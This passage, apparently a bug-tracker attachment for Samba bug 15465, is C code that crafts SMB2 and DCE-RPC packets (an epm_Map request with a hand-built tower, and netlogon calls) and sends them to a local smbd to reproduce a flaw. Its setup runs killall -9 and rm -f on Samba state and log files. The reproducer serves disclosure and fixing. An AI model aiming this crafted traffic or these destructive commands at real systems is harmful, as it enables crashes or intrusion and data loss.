57; // StructureSize > ii += 2; > *(short*)(buf+ii) = 0; // Reserved > ii += 2; > *(int*)(buf+ii) = 0x0011c017; // CtlCode FSCTL_PIPE_TRANSCEIVE > ii += 4; > memcpy(buf+ii, file_id, sizeof(file_id)); > ii += 16; > *(int*)(buf+ii) = ii - 4 + 32; // InputOffset > ii += 4; > int count_i = ii; > *(int*)(buf+ii) = 0; // InputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxInputResponse > ii += 4; > *(int*)(buf+ii) = 0; // OutputOffset > ii += 4; > *(int*)(buf+ii) = 0; // OutputCount > ii += 4; > *(int*)(buf+ii) = 512; // MaxOutputResponse > ii += 4; > *(int*)(buf+ii) = 1; // Flags; 0=ioctl, 1=fsctl > ii += 4; > *(int*)(buf+ii) = 0; // Reserved > ii += 4; > > // DCE RPC connection-oriented reply. > // https://pubs.opengroup.org/onlinepubs/9629399/chap12.htm > int rpc_header_i = ii; > buf[ii++] = 5; // rpc_vers > buf[ii++] = 0; // rpc_vers_minor > buf[ii++] = 0; // 0=request > buf[ii++] = 3; // flags, first and last fragment > buf[ii++] = 0x10; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > buf[ii++] = 0x00; // packed_drep? > int frag_length_i = ii; > *(short*)(buf+ii) = 0; // frag_length > ii += 2; > *(short*)(buf+ii) = 0; // auth_length > ii += 2; > *(int*)(buf+ii) = rpc_seq; > ii += 4; > > *(int*)(buf+ii) = 0; // alloc_hint > ii += 4; > *(short*)(buf+ii) = 0; // p_cont_id > ii += 2; > *(short*)(buf+ii) = 0x03; // opnum > ii += 2; > > int xxx_i = ii; > *(int*)(buf+ii) = 16; // _ptr_object > ii += 4; > ii += 16; // GUID > *(int*)(buf+ii) = 576; // _ptr_map_tower > ii += 4; > *(int*)(buf+ii) = 568; // tower_length > ii += 4; > // subcontext > *(int*)(buf+ii) = 464; // content_size > ii += 4; > // tower > *(short*)(buf+ii) = 6; // num_floors > ii += 2; > // floor lhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 1; // protocol > ii += 31; // blob > // floor rhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 2; // protocol > ii += 31; // blob > // floor lhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 0x0d; // protocol > { > char data[] = { > 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, > 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, > 0x02, 0x00, 0x00, 0x00, > }; > memcpy(buf+ii, data, sizeof(data)); > } > ii += 31; // blob > // floor rhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 4; // protocol > ii += 31; // blob > // floor lhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 5; // protocol > ii += 31; // blob > // floor rhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 6; // protocol > ii += 31; // blob > // floor lhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 1; // protocol > ii += 31; // blob > // floor rhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 2; // protocol > ii += 31; // blob > // floor lhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 3; // protocol > ii += 31; // blob > // floor rhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 4; // protocol > ii += 31; // blob > // floor lhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 5; // protocol > ii += 31; // blob > // floor rhs > *(short*)(buf+ii) = 32; // subcontext content_size > ii += 2; > // epm_lhs > buf[ii++] = 6; // protocol > ii += 31; // blob > > ii = xxx_i + 516; // put max_towers at the right offset > *(int*)(buf+ii) = 2; // max_towers > ii += 4; > > ii += 64; > > assert(ii+7 <= sizeof(buf)); > > *(short*)(buf+frag_length_i) = ii - rpc_header_i; > *(int*)(buf+count_i) = ii - rpc_header_i; > rpc_seq += 1; > *(short*)(buf+2) = htons(ii-4); // non-inclusive len > > printf("rpc epm_Map writing %d bytes\n", ii); fflush(stdout); > > if(write(s, buf, ii) <= 0){ > perror("write"); > } > > if(1){ > unsigned char buf[1024]; > memset(buf, 0, sizeof(buf)); > int cc = readmsg(buf); > printf("read %d for rpc epm_Map response\n", cc); > unsigned int status = *(int*)(buf+4+8); > printf("Status: 0x%x\n", status); > unsigned int flags = *(int*)(buf+4+16); > printf("Flags: 0x%x\n", flags); > if(cc > 0 && (flags & 2)){ > // flags & 2 is SMB2_FLAGS_ASYNC_COMMAND > // status = 0x103 is STATUS_PENDING > memset(buf, 0, sizeof(buf)); > cc = readmsg(buf); > printf("2nd cc %d\n", cc); > status = *(int*)(buf+4+8); > printf("2nd status: 0x%x\n", status); > flags = *(int*)(buf+4+16); > printf("2nd flags: 0x%x\n", flags); > } > } >} > >void >connect_to_smbd() >{ > struct sockaddr_in sin; > memset(&sin, 0, sizeof(sin)); > sin.sin_family = AF_INET; > sin.sin_port = htons(445); // SMB over TCP > sin.sin_addr.s_addr = inet_addr("127.0.0.1"); > > while(1){ > s = socket(AF_INET, SOCK_STREAM, 0); > if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) == 0) > break; > close(s); > sleep(1); > } > > smb_seq = 0; > rpc_seq = 1; > tree_id = 0; > memset(session_id, 0, sizeof(session_id)); > memset(file_id, 0, sizeof(file_id)); >} > >int >main(int argc, char *argv[]) >{ > struct rlimit r; > r.rlim_cur = r.rlim_max = 0; > setrlimit(RLIMIT_CORE, &r); > r.rlim_cur = r.rlim_max = 800*1024*1024; > setrlimit(RLIMIT_AS, &r); > setrlimit(RLIMIT_DATA, &r); > > int pid = -1; > > signal(SIGPIPE, SIG_IGN); > signal(SIGTERM, SIG_IGN); > > system("cp /dev/null /usr/rtm/samba4/var/log.smbd"); > system("cp /dev/null /usr/rtm/samba4/var/log.samba-dcerpcd"); > system("cp /dev/null /usr/rtm/samba4/var/log.rpcd_classic"); > system("cp /dev/null /usr/rtm/samba4/var/log.rpcd_winreg"); > system("cp /dev/null /usr/rtm/samba4/var/log.rpcd_lsad"); > system("cp /dev/null /usr/rtm/samba4/var/log.rpcd_fsrvp"); > > if(argc == 1){ > > // rpcd_lsad domain scheme needs a host name > char hostname[256]; > memset(hostname, 0, sizeof(hostname)); > gethostname(hostname, sizeof(hostname)); > if(hostname[0] == '\0'){ > printf("setting hostname to zika\n"); > if(sethostname("zika", 4) < 0) perror("sethostname"); > } > > system("killall nmbd smbd rpcd_lsad rpcd_classic samba-dcerpcd rpcd_winreg rpcd_mdssvc"); > sleep(1); > system("killall -9 nmbd smbd rpcd_lsad rpcd_classic samba-dcerpcd rpcd_winreg rpcd_mdssvc"); > sleep(1); > > system("/usr/rtm/samba4/sbin/nmbd --help > /dev/null 2&>1"); > system("/usr/rtm/samba4/sbin/smbd --help > /dev/null 2&>1"); > > system("rm -f /usr/rtm/samba4/var/cache/browse.dat"); > system("rm -f /usr/rtm/samba4/private/msg.sock/*"); > system("rm -f /usr/rtm/samba4/private/*.tdb"); > system("rm -f /usr/rtm/samba4/var/lock/msg.lock/*"); > system("rm -f /usr/rtm/samba4/var/locks/*"); > system("rm -f /usr/rtm/samba4/var/lock/*"); > system("rm -f /usr/rtm/samba4/var/cache/printing/*"); > system("chown root /usr/rtm/samba4/var/lock/msg.lock /usr/rtm/samba4/private/msg.sock"); > > // these are just the result of smbpasswd -a z, xxxxxxxx > system("cp -p /usr/rtm/passdb.tdb.precious /usr/rtm/samba4/private/passdb.tdb"); > system("cp -p /usr/rtm/secrets.tdb.precious /usr/rtm/samba4/private/secrets.tdb"); > > system("rm -rf /tmp/smb ; mkdir /tmp/smb /tmp/smb/d"); > system("echo 1 > /tmp/smb/1 ; echo 2 > /tmp/smb/d/2"); > system("chmod ogu+rw /tmp/smb /tmp/smb/* /tmp/smb/*/*"); > > pid = fork(); > if(pid == 0){ > execl("/usr/rtm/samba4/sbin/smbd", "smbd", > // "--debuglevel=10", > (void*)0); > perror("exec nmbd"); > exit(1); > } > } > > connect_to_smbd(); > > sleep(1); > > negotiate(0); > setup(0, 1); > setup(0, 3); > tree_connect(0); > > select_timeout = 2000; > smb_create(0); > smb_ioctl_rpc_bind(0); > > smb_ioctl_rpc_ServerReqChallenge(0); > smb_ioctl_rpc_ServerAuthenticate3(0); > smb_ioctl_rpc_LogonSamLogon(0); > smb_ioctl_rpc_LogonControl2Ex(1); > > sleep(2); > close(s); >}
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 15465
: 18116 |
18122